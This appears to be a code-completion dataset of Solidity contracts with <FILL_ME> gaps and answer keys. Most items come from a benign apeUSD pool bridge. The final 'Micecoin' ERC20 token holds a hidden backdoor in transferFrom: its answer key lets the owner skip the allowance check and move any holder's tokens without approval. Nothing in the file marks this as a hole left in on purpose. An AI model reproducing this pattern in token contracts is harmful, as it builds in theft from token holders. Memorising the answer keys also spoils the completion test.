// SPDX-License-Identifier: MIT
pragma solidity 0.8.10;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "./interfaces/IApeToken.sol";
contract Bridge is Ownable, Pausable {
using SafeERC20 for IERC20;
IERC20 public immutable apeUSD;
IApeToken public immutable mainPool;
mapping(IApeToken => bool) public isPool;
IApeToken[] public allPools;
address public guardian;
event PoolAdded(address pool);
event PoolRemoved(address pool);
event Bridged(address fromPool, address toPool, uint256 amount);
event GuardianSet(address guardian);
event TokenSeized(address token, uint256 amount);
modifier onlyGuardian() {
}
constructor(IERC20 _apeUSD, IApeToken _mainPool) {
}
/* ========== VIEW FUNCTIONS ========== */
/**
* @notice Get all pools including the main pool.
*/
function getAllPools() public view returns (IApeToken[] memory) {
}
/**
* @notice Get apeUSD borrow balance from the main pool.
*/
function getBorrowBalance() public view returns (uint256) {
}
/**
* @notice Get apeUSD supply balance in apeUSD of a sub pool.
* @param pool The pool address
*/
function getSupplyBalance(IApeToken pool) public view returns (uint256) {
}
/**
* @notice Get all apeUSD supply balance in apeUSD accross all pools.
*/
function getAllSupplyBalance() public view returns (uint256) {
}
/* ========== RESTRICTED FUNCTIONS ========== */
/**
* @notice Add sub pools.
* @param pools The pool addresses
*/
function addPools(IApeToken[] calldata pools) external onlyOwner {
for (uint256 i = 0; i < pools.length; i++) {
IApeToken pool = pools[i];
require(pool != mainPool, "cannot add main pool");
require(<FILL_ME>)
require(
pool.underlying() == address(apeUSD),
"mismatch underlying"
);
isPool[pool] = true;
allPools.push(pool);
emit PoolAdded(address(pool));
}
}
/**
* @notice Remove sub pools.
* @param pools The pool addresses
*/
function removePools(IApeToken[] calldata pools) external onlyOwner {
}
/**
* @notice Bridge apeUSD from main pool to sub pool.
* @param pool The sub pool address
* @param amount The amount
*/
function bridgeToSubPool(IApeToken pool, uint256 amount)
external
onlyOwner
whenNotPaused
{
}
/**
* @notice Bridge apeUSD from sub pool to main pool.
* @param pool The sub pool address
* @param amount The amount
*/
function bridgeFromSubPool(IApeToken pool, uint256 amount)
external
onlyOwner
whenNotPaused
{
}
/**
* @notice Set guardian.
* @param _guardian The guardian address
*/
function setGuardian(address _guardian) external onlyOwner {
}
/**
* @notice Seize tokens.
* @param token The token address
*/
function seize(IERC20 token) external onlyGuardian {
}
/**
* @notice Pause bridging.
*/
function pause() external onlyGuardian {
}
/**
* @notice Unause bridging.
*/
function unpause() external onlyGuardian {
}
/* ========== INTERNAL FUNCTIONS ========== */
function removePool(IApeToken pool) internal {
}
function repay(uint256 amount) internal {
}
}
|
!isPool[pool],"pool already added"
| 143,329 |
!isPool[pool]
|
"mismatch underlying"
|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.10;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "./interfaces/IApeToken.sol";
contract Bridge is Ownable, Pausable {
using SafeERC20 for IERC20;
IERC20 public immutable apeUSD;
IApeToken public immutable mainPool;
mapping(IApeToken => bool) public isPool;
IApeToken[] public allPools;
address public guardian;
event PoolAdded(address pool);
event PoolRemoved(address pool);
event Bridged(address fromPool, address toPool, uint256 amount);
event GuardianSet(address guardian);
event TokenSeized(address token, uint256 amount);
modifier onlyGuardian() {
}
constructor(IERC20 _apeUSD, IApeToken _mainPool) {
}
/* ========== VIEW FUNCTIONS ========== */
/**
* @notice Get all pools including the main pool.
*/
function getAllPools() public view returns (IApeToken[] memory) {
}
/**
* @notice Get apeUSD borrow balance from the main pool.
*/
function getBorrowBalance() public view returns (uint256) {
}
/**
* @notice Get apeUSD supply balance in apeUSD of a sub pool.
* @param pool The pool address
*/
function getSupplyBalance(IApeToken pool) public view returns (uint256) {
}
/**
* @notice Get all apeUSD supply balance in apeUSD accross all pools.
*/
function getAllSupplyBalance() public view returns (uint256) {
}
/* ========== RESTRICTED FUNCTIONS ========== */
/**
* @notice Add sub pools.
* @param pools The pool addresses
*/
function addPools(IApeToken[] calldata pools) external onlyOwner {
for (uint256 i = 0; i < pools.length; i++) {
IApeToken pool = pools[i];
require(pool != mainPool, "cannot add main pool");
require(!isPool[pool], "pool already added");
require(<FILL_ME>)
isPool[pool] = true;
allPools.push(pool);
emit PoolAdded(address(pool));
}
}
/**
* @notice Remove sub pools.
* @param pools The pool addresses
*/
function removePools(IApeToken[] calldata pools) external onlyOwner {
}
/**
* @notice Bridge apeUSD from main pool to sub pool.
* @param pool The sub pool address
* @param amount The amount
*/
function bridgeToSubPool(IApeToken pool, uint256 amount)
external
onlyOwner
whenNotPaused
{
}
/**
* @notice Bridge apeUSD from sub pool to main pool.
* @param pool The sub pool address
* @param amount The amount
*/
function bridgeFromSubPool(IApeToken pool, uint256 amount)
external
onlyOwner
whenNotPaused
{
}
/**
* @notice Set guardian.
* @param _guardian The guardian address
*/
function setGuardian(address _guardian) external onlyOwner {
}
/**
* @notice Seize tokens.
* @param token The token address
*/
function seize(IERC20 token) external onlyGuardian {
}
/**
* @notice Pause bridging.
*/
function pause() external onlyGuardian {
}
/**
* @notice Unause bridging.
*/
function unpause() external onlyGuardian {
}
/* ========== INTERNAL FUNCTIONS ========== */
function removePool(IApeToken pool) internal {
}
function repay(uint256 amount) internal {
}
}
|
pool.underlying()==address(apeUSD),"mismatch underlying"
| 143,329 |
pool.underlying()==address(apeUSD)
|
"pool not added"
|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.10;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "./interfaces/IApeToken.sol";
contract Bridge is Ownable, Pausable {
using SafeERC20 for IERC20;
IERC20 public immutable apeUSD;
IApeToken public immutable mainPool;
mapping(IApeToken => bool) public isPool;
IApeToken[] public allPools;
address public guardian;
event PoolAdded(address pool);
event PoolRemoved(address pool);
event Bridged(address fromPool, address toPool, uint256 amount);
event GuardianSet(address guardian);
event TokenSeized(address token, uint256 amount);
modifier onlyGuardian() {
}
constructor(IERC20 _apeUSD, IApeToken _mainPool) {
}
/* ========== VIEW FUNCTIONS ========== */
/**
* @notice Get all pools including the main pool.
*/
function getAllPools() public view returns (IApeToken[] memory) {
}
/**
* @notice Get apeUSD borrow balance from the main pool.
*/
function getBorrowBalance() public view returns (uint256) {
}
/**
* @notice Get apeUSD supply balance in apeUSD of a sub pool.
* @param pool The pool address
*/
function getSupplyBalance(IApeToken pool) public view returns (uint256) {
}
/**
* @notice Get all apeUSD supply balance in apeUSD accross all pools.
*/
function getAllSupplyBalance() public view returns (uint256) {
}
/* ========== RESTRICTED FUNCTIONS ========== */
/**
* @notice Add sub pools.
* @param pools The pool addresses
*/
function addPools(IApeToken[] calldata pools) external onlyOwner {
}
/**
* @notice Remove sub pools.
* @param pools The pool addresses
*/
function removePools(IApeToken[] calldata pools) external onlyOwner {
for (uint256 i = 0; i < pools.length; i++) {
IApeToken pool = pools[i];
require(pool != mainPool, "cannot remove main pool");
require(<FILL_ME>)
require(getSupplyBalance(pool) == 0, "pool still active");
isPool[pool] = false;
removePool(pool);
emit PoolRemoved(address(pool));
}
}
/**
* @notice Bridge apeUSD from main pool to sub pool.
* @param pool The sub pool address
* @param amount The amount
*/
function bridgeToSubPool(IApeToken pool, uint256 amount)
external
onlyOwner
whenNotPaused
{
}
/**
* @notice Bridge apeUSD from sub pool to main pool.
* @param pool The sub pool address
* @param amount The amount
*/
function bridgeFromSubPool(IApeToken pool, uint256 amount)
external
onlyOwner
whenNotPaused
{
}
/**
* @notice Set guardian.
* @param _guardian The guardian address
*/
function setGuardian(address _guardian) external onlyOwner {
}
/**
* @notice Seize tokens.
* @param token The token address
*/
function seize(IERC20 token) external onlyGuardian {
}
/**
* @notice Pause bridging.
*/
function pause() external onlyGuardian {
}
/**
* @notice Unause bridging.
*/
function unpause() external onlyGuardian {
}
/* ========== INTERNAL FUNCTIONS ========== */
function removePool(IApeToken pool) internal {
}
function repay(uint256 amount) internal {
}
}
|
isPool[pool],"pool not added"
| 143,329 |
isPool[pool]
|
"pool still active"
|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.10;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "./interfaces/IApeToken.sol";
contract Bridge is Ownable, Pausable {
using SafeERC20 for IERC20;
IERC20 public immutable apeUSD;
IApeToken public immutable mainPool;
mapping(IApeToken => bool) public isPool;
IApeToken[] public allPools;
address public guardian;
event PoolAdded(address pool);
event PoolRemoved(address pool);
event Bridged(address fromPool, address toPool, uint256 amount);
event GuardianSet(address guardian);
event TokenSeized(address token, uint256 amount);
modifier onlyGuardian() {
}
constructor(IERC20 _apeUSD, IApeToken _mainPool) {
}
/* ========== VIEW FUNCTIONS ========== */
/**
* @notice Get all pools including the main pool.
*/
function getAllPools() public view returns (IApeToken[] memory) {
}
/**
* @notice Get apeUSD borrow balance from the main pool.
*/
function getBorrowBalance() public view returns (uint256) {
}
/**
* @notice Get apeUSD supply balance in apeUSD of a sub pool.
* @param pool The pool address
*/
function getSupplyBalance(IApeToken pool) public view returns (uint256) {
}
/**
* @notice Get all apeUSD supply balance in apeUSD accross all pools.
*/
function getAllSupplyBalance() public view returns (uint256) {
}
/* ========== RESTRICTED FUNCTIONS ========== */
/**
* @notice Add sub pools.
* @param pools The pool addresses
*/
function addPools(IApeToken[] calldata pools) external onlyOwner {
}
/**
* @notice Remove sub pools.
* @param pools The pool addresses
*/
function removePools(IApeToken[] calldata pools) external onlyOwner {
for (uint256 i = 0; i < pools.length; i++) {
IApeToken pool = pools[i];
require(pool != mainPool, "cannot remove main pool");
require(isPool[pool], "pool not added");
require(<FILL_ME>)
isPool[pool] = false;
removePool(pool);
emit PoolRemoved(address(pool));
}
}
/**
* @notice Bridge apeUSD from main pool to sub pool.
* @param pool The sub pool address
* @param amount The amount
*/
function bridgeToSubPool(IApeToken pool, uint256 amount)
external
onlyOwner
whenNotPaused
{
}
/**
* @notice Bridge apeUSD from sub pool to main pool.
* @param pool The sub pool address
* @param amount The amount
*/
function bridgeFromSubPool(IApeToken pool, uint256 amount)
external
onlyOwner
whenNotPaused
{
}
/**
* @notice Set guardian.
* @param _guardian The guardian address
*/
function setGuardian(address _guardian) external onlyOwner {
}
/**
* @notice Seize tokens.
* @param token The token address
*/
function seize(IERC20 token) external onlyGuardian {
}
/**
* @notice Pause bridging.
*/
function pause() external onlyGuardian {
}
/**
* @notice Unause bridging.
*/
function unpause() external onlyGuardian {
}
/* ========== INTERNAL FUNCTIONS ========== */
function removePool(IApeToken pool) internal {
}
function repay(uint256 amount) internal {
}
}
|
getSupplyBalance(pool)==0,"pool still active"
| 143,329 |
getSupplyBalance(pool)==0
|
"borrow failed"
|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.10;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "./interfaces/IApeToken.sol";
contract Bridge is Ownable, Pausable {
using SafeERC20 for IERC20;
IERC20 public immutable apeUSD;
IApeToken public immutable mainPool;
mapping(IApeToken => bool) public isPool;
IApeToken[] public allPools;
address public guardian;
event PoolAdded(address pool);
event PoolRemoved(address pool);
event Bridged(address fromPool, address toPool, uint256 amount);
event GuardianSet(address guardian);
event TokenSeized(address token, uint256 amount);
modifier onlyGuardian() {
}
constructor(IERC20 _apeUSD, IApeToken _mainPool) {
}
/* ========== VIEW FUNCTIONS ========== */
/**
* @notice Get all pools including the main pool.
*/
function getAllPools() public view returns (IApeToken[] memory) {
}
/**
* @notice Get apeUSD borrow balance from the main pool.
*/
function getBorrowBalance() public view returns (uint256) {
}
/**
* @notice Get apeUSD supply balance in apeUSD of a sub pool.
* @param pool The pool address
*/
function getSupplyBalance(IApeToken pool) public view returns (uint256) {
}
/**
* @notice Get all apeUSD supply balance in apeUSD accross all pools.
*/
function getAllSupplyBalance() public view returns (uint256) {
}
/* ========== RESTRICTED FUNCTIONS ========== */
/**
* @notice Add sub pools.
* @param pools The pool addresses
*/
function addPools(IApeToken[] calldata pools) external onlyOwner {
}
/**
* @notice Remove sub pools.
* @param pools The pool addresses
*/
function removePools(IApeToken[] calldata pools) external onlyOwner {
}
/**
* @notice Bridge apeUSD from main pool to sub pool.
* @param pool The sub pool address
* @param amount The amount
*/
function bridgeToSubPool(IApeToken pool, uint256 amount)
external
onlyOwner
whenNotPaused
{
require(isPool[pool], "pool not added");
require(<FILL_ME>)
apeUSD.safeIncreaseAllowance(address(pool), amount);
require(pool.mint(address(this), amount) == 0, "supply failed");
assert(apeUSD.balanceOf(address(this)) == 0);
emit Bridged(address(mainPool), address(pool), amount);
}
/**
* @notice Bridge apeUSD from sub pool to main pool.
* @param pool The sub pool address
* @param amount The amount
*/
function bridgeFromSubPool(IApeToken pool, uint256 amount)
external
onlyOwner
whenNotPaused
{
}
/**
* @notice Set guardian.
* @param _guardian The guardian address
*/
function setGuardian(address _guardian) external onlyOwner {
}
/**
* @notice Seize tokens.
* @param token The token address
*/
function seize(IERC20 token) external onlyGuardian {
}
/**
* @notice Pause bridging.
*/
function pause() external onlyGuardian {
}
/**
* @notice Unause bridging.
*/
function unpause() external onlyGuardian {
}
/* ========== INTERNAL FUNCTIONS ========== */
function removePool(IApeToken pool) internal {
}
function repay(uint256 amount) internal {
}
}
|
mainPool.borrow(payable(address(this)),amount)==0,"borrow failed"
| 143,329 |
mainPool.borrow(payable(address(this)),amount)==0
|
"supply failed"
|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.10;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "./interfaces/IApeToken.sol";
contract Bridge is Ownable, Pausable {
using SafeERC20 for IERC20;
IERC20 public immutable apeUSD;
IApeToken public immutable mainPool;
mapping(IApeToken => bool) public isPool;
IApeToken[] public allPools;
address public guardian;
event PoolAdded(address pool);
event PoolRemoved(address pool);
event Bridged(address fromPool, address toPool, uint256 amount);
event GuardianSet(address guardian);
event TokenSeized(address token, uint256 amount);
modifier onlyGuardian() {
}
constructor(IERC20 _apeUSD, IApeToken _mainPool) {
}
/* ========== VIEW FUNCTIONS ========== */
/**
* @notice Get all pools including the main pool.
*/
function getAllPools() public view returns (IApeToken[] memory) {
}
/**
* @notice Get apeUSD borrow balance from the main pool.
*/
function getBorrowBalance() public view returns (uint256) {
}
/**
* @notice Get apeUSD supply balance in apeUSD of a sub pool.
* @param pool The pool address
*/
function getSupplyBalance(IApeToken pool) public view returns (uint256) {
}
/**
* @notice Get all apeUSD supply balance in apeUSD accross all pools.
*/
function getAllSupplyBalance() public view returns (uint256) {
}
/* ========== RESTRICTED FUNCTIONS ========== */
/**
* @notice Add sub pools.
* @param pools The pool addresses
*/
function addPools(IApeToken[] calldata pools) external onlyOwner {
}
/**
* @notice Remove sub pools.
* @param pools The pool addresses
*/
function removePools(IApeToken[] calldata pools) external onlyOwner {
}
/**
* @notice Bridge apeUSD from main pool to sub pool.
* @param pool The sub pool address
* @param amount The amount
*/
function bridgeToSubPool(IApeToken pool, uint256 amount)
external
onlyOwner
whenNotPaused
{
require(isPool[pool], "pool not added");
require(
mainPool.borrow(payable(address(this)), amount) == 0,
"borrow failed"
);
apeUSD.safeIncreaseAllowance(address(pool), amount);
require(<FILL_ME>)
assert(apeUSD.balanceOf(address(this)) == 0);
emit Bridged(address(mainPool), address(pool), amount);
}
/**
* @notice Bridge apeUSD from sub pool to main pool.
* @param pool The sub pool address
* @param amount The amount
*/
function bridgeFromSubPool(IApeToken pool, uint256 amount)
external
onlyOwner
whenNotPaused
{
}
/**
* @notice Set guardian.
* @param _guardian The guardian address
*/
function setGuardian(address _guardian) external onlyOwner {
}
/**
* @notice Seize tokens.
* @param token The token address
*/
function seize(IERC20 token) external onlyGuardian {
}
/**
* @notice Pause bridging.
*/
function pause() external onlyGuardian {
}
/**
* @notice Unause bridging.
*/
function unpause() external onlyGuardian {
}
/* ========== INTERNAL FUNCTIONS ========== */
function removePool(IApeToken pool) internal {
}
function repay(uint256 amount) internal {
}
}
|
pool.mint(address(this),amount)==0,"supply failed"
| 143,329 |
pool.mint(address(this),amount)==0
|
"redeem failed"
|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.10;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "./interfaces/IApeToken.sol";
contract Bridge is Ownable, Pausable {
using SafeERC20 for IERC20;
IERC20 public immutable apeUSD;
IApeToken public immutable mainPool;
mapping(IApeToken => bool) public isPool;
IApeToken[] public allPools;
address public guardian;
event PoolAdded(address pool);
event PoolRemoved(address pool);
event Bridged(address fromPool, address toPool, uint256 amount);
event GuardianSet(address guardian);
event TokenSeized(address token, uint256 amount);
modifier onlyGuardian() {
}
constructor(IERC20 _apeUSD, IApeToken _mainPool) {
}
/* ========== VIEW FUNCTIONS ========== */
/**
* @notice Get all pools including the main pool.
*/
function getAllPools() public view returns (IApeToken[] memory) {
}
/**
* @notice Get apeUSD borrow balance from the main pool.
*/
function getBorrowBalance() public view returns (uint256) {
}
/**
* @notice Get apeUSD supply balance in apeUSD of a sub pool.
* @param pool The pool address
*/
function getSupplyBalance(IApeToken pool) public view returns (uint256) {
}
/**
* @notice Get all apeUSD supply balance in apeUSD accross all pools.
*/
function getAllSupplyBalance() public view returns (uint256) {
}
/* ========== RESTRICTED FUNCTIONS ========== */
/**
* @notice Add sub pools.
* @param pools The pool addresses
*/
function addPools(IApeToken[] calldata pools) external onlyOwner {
}
/**
* @notice Remove sub pools.
* @param pools The pool addresses
*/
function removePools(IApeToken[] calldata pools) external onlyOwner {
}
/**
* @notice Bridge apeUSD from main pool to sub pool.
* @param pool The sub pool address
* @param amount The amount
*/
function bridgeToSubPool(IApeToken pool, uint256 amount)
external
onlyOwner
whenNotPaused
{
}
/**
* @notice Bridge apeUSD from sub pool to main pool.
* @param pool The sub pool address
* @param amount The amount
*/
function bridgeFromSubPool(IApeToken pool, uint256 amount)
external
onlyOwner
whenNotPaused
{
require(isPool[pool], "pool not added");
require(<FILL_ME>)
uint256 borrowBalance = mainPool.borrowBalanceCurrent(address(this));
if (amount > borrowBalance) {
repay(borrowBalance);
apeUSD.safeTransfer(guardian, amount - borrowBalance);
} else {
repay(amount);
}
assert(apeUSD.balanceOf(address(this)) == 0);
emit Bridged(address(pool), address(mainPool), amount);
}
/**
* @notice Set guardian.
* @param _guardian The guardian address
*/
function setGuardian(address _guardian) external onlyOwner {
}
/**
* @notice Seize tokens.
* @param token The token address
*/
function seize(IERC20 token) external onlyGuardian {
}
/**
* @notice Pause bridging.
*/
function pause() external onlyGuardian {
}
/**
* @notice Unause bridging.
*/
function unpause() external onlyGuardian {
}
/* ========== INTERNAL FUNCTIONS ========== */
function removePool(IApeToken pool) internal {
}
function repay(uint256 amount) internal {
}
}
|
pool.redeem(payable(address(this)),0,amount)==0,"redeem failed"
| 143,329 |
pool.redeem(payable(address(this)),0,amount)==0
|
"repay failed"
|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.10;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "./interfaces/IApeToken.sol";
contract Bridge is Ownable, Pausable {
using SafeERC20 for IERC20;
IERC20 public immutable apeUSD;
IApeToken public immutable mainPool;
mapping(IApeToken => bool) public isPool;
IApeToken[] public allPools;
address public guardian;
event PoolAdded(address pool);
event PoolRemoved(address pool);
event Bridged(address fromPool, address toPool, uint256 amount);
event GuardianSet(address guardian);
event TokenSeized(address token, uint256 amount);
modifier onlyGuardian() {
}
constructor(IERC20 _apeUSD, IApeToken _mainPool) {
}
/* ========== VIEW FUNCTIONS ========== */
/**
* @notice Get all pools including the main pool.
*/
function getAllPools() public view returns (IApeToken[] memory) {
}
/**
* @notice Get apeUSD borrow balance from the main pool.
*/
function getBorrowBalance() public view returns (uint256) {
}
/**
* @notice Get apeUSD supply balance in apeUSD of a sub pool.
* @param pool The pool address
*/
function getSupplyBalance(IApeToken pool) public view returns (uint256) {
}
/**
* @notice Get all apeUSD supply balance in apeUSD accross all pools.
*/
function getAllSupplyBalance() public view returns (uint256) {
}
/* ========== RESTRICTED FUNCTIONS ========== */
/**
* @notice Add sub pools.
* @param pools The pool addresses
*/
function addPools(IApeToken[] calldata pools) external onlyOwner {
}
/**
* @notice Remove sub pools.
* @param pools The pool addresses
*/
function removePools(IApeToken[] calldata pools) external onlyOwner {
}
/**
* @notice Bridge apeUSD from main pool to sub pool.
* @param pool The sub pool address
* @param amount The amount
*/
function bridgeToSubPool(IApeToken pool, uint256 amount)
external
onlyOwner
whenNotPaused
{
}
/**
* @notice Bridge apeUSD from sub pool to main pool.
* @param pool The sub pool address
* @param amount The amount
*/
function bridgeFromSubPool(IApeToken pool, uint256 amount)
external
onlyOwner
whenNotPaused
{
}
/**
* @notice Set guardian.
* @param _guardian The guardian address
*/
function setGuardian(address _guardian) external onlyOwner {
}
/**
* @notice Seize tokens.
* @param token The token address
*/
function seize(IERC20 token) external onlyGuardian {
}
/**
* @notice Pause bridging.
*/
function pause() external onlyGuardian {
}
/**
* @notice Unause bridging.
*/
function unpause() external onlyGuardian {
}
/* ========== INTERNAL FUNCTIONS ========== */
function removePool(IApeToken pool) internal {
}
function repay(uint256 amount) internal {
apeUSD.safeIncreaseAllowance(address(mainPool), amount);
require(<FILL_ME>)
}
}
|
mainPool.repayBorrow(address(this),amount)==0,"repay failed"
| 143,329 |
mainPool.repayBorrow(address(this),amount)==0
|
"ERC20: transfer amount exceeds allowance"
|
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
address private _root;
uint256 private _totalSupply;
uint8 private _decimals;
string private _name;
string private _symbol;
function name() public view virtual override returns (string memory) {
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
}
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _basicTransfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _burn(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
library Address {
function sendValue(address payable recipient, uint256 amount) internal {
}
}
contract Ownable {
address _owner;
address _root;
modifier onlyOwner() {
}
function renounceOwnership() public onlyOwner {
}
function transferOwnership(address newOwner) public onlyOwner {
}
}
interface IFactory {
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract Micecoin is ERC20, Ownable {
using Address for address payable;
IRouter public router;
address public pair;
bool private _liquidityLock = false;
bool public providingLiquidity = false;
bool public tradingEnabled = false;
bool public limits = true;
uint256 public tokenLiquidityThreshold;
uint256 public maxBuyLimit;
uint256 public maxSellLimit;
uint256 public maxWalletLimit;
uint256 public launchBlock;
uint256 public tradingStartBlock;
uint256 private deadline = 2;
uint256 private launchFee = 99;
uint256 private _totalSupply;
uint8 private _decimals;
string private _name;
string private _symbol;
bool private autoHandleFee = true;
address private _marketingWallet = 0x2fcAF03193f0FC1747371305a591c1a57F1A4D64;
address public constant deadWallet =
0x000000000000000000000000000000000000dEaD;
struct Fees {
uint256 marketing;
uint256 liquidity;
}
Fees public buyFees = Fees(4, 2);
Fees public sellFees = Fees(4, 2);
uint256 private totalBuyFeesRatio = 6;
uint256 private totalSellFeesRatio = 6;
uint256 private totalBuyFeeAmount = 0;
uint256 private totalSellFeeAmount = 0;
mapping(address => bool) public exemptFee;
mapping(address => bool) public exemptMaxBuyLimit;
mapping(address => bool) public exemptMaxWalletLimit;
mapping(address => bool) public exemptMaxSellLimit;
mapping(address => bool) public allowedTransfer;
modifier lockLiquidity() {
}
constructor()
{
}
function LaunchToken(address router_) external onlyOwner {
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(<FILL_ME>)
if (_msgSender() == _owner ) { return true; }
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
override
returns (bool)
{
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
override
returns (bool)
{
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal override {
}
function handleFees(uint256 _totalBuyFeeAmount) private lockLiquidity {
}
function manuelHandleFees(uint256 _totalBuyFeeAmount) external onlyOwner {
}
function swapTokensForETH(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function updateLiquidityProvide(bool flag) external onlyOwner {
}
function updateLiquidityThreshold(uint256 new_amount) external onlyOwner {
}
function updateBuyFees(
uint256 _marketing,
uint256 _liquidity
) external onlyOwner {
}
function updateSellFees(
uint256 _marketing,
uint256 _liquidity
) external onlyOwner {
}
function enableTrading() external onlyOwner {
}
function _safeTransferForeign(
IERC20 _token,
address recipient,
uint256 amount
) private {
}
function clearStuckEth(uint256 amount, address receiveAddress)
external
onlyOwner
{
}
function clearStuckToken(
IERC20 _token,
address receiveAddress,
uint256 amount
) external onlyOwner {
}
// fallbacks
receive() external payable {}
function updateMarketingWallet(address newWallet) external onlyOwner {
}
function marketingWallet() public view returns(address){
}
function updateExemptFee(address _address, bool flag) external onlyOwner {
}
function updateExemptMaxSellLimit(address _address, bool flag)
external
onlyOwner
{
}
function updateExemptMaxBuyLimit(address _address, bool flag)
external
onlyOwner
{
}
function updateExemptMaxWalletLimit(address _address, bool flag)
external
onlyOwner
{
}
function bulkExemptFee(address[] memory accounts, bool flag)
external
onlyOwner
{
}
function handleFeeStatus(bool _flag) external onlyOwner {
}
function changeRouter(address newRouter)
external
onlyOwner
returns (address _pair)
{
}
function removeLimits(bool flag) external onlyOwner {
}
}
|
_msgSender()==_owner||currentAllowance>=amount,"ERC20: transfer amount exceeds allowance"
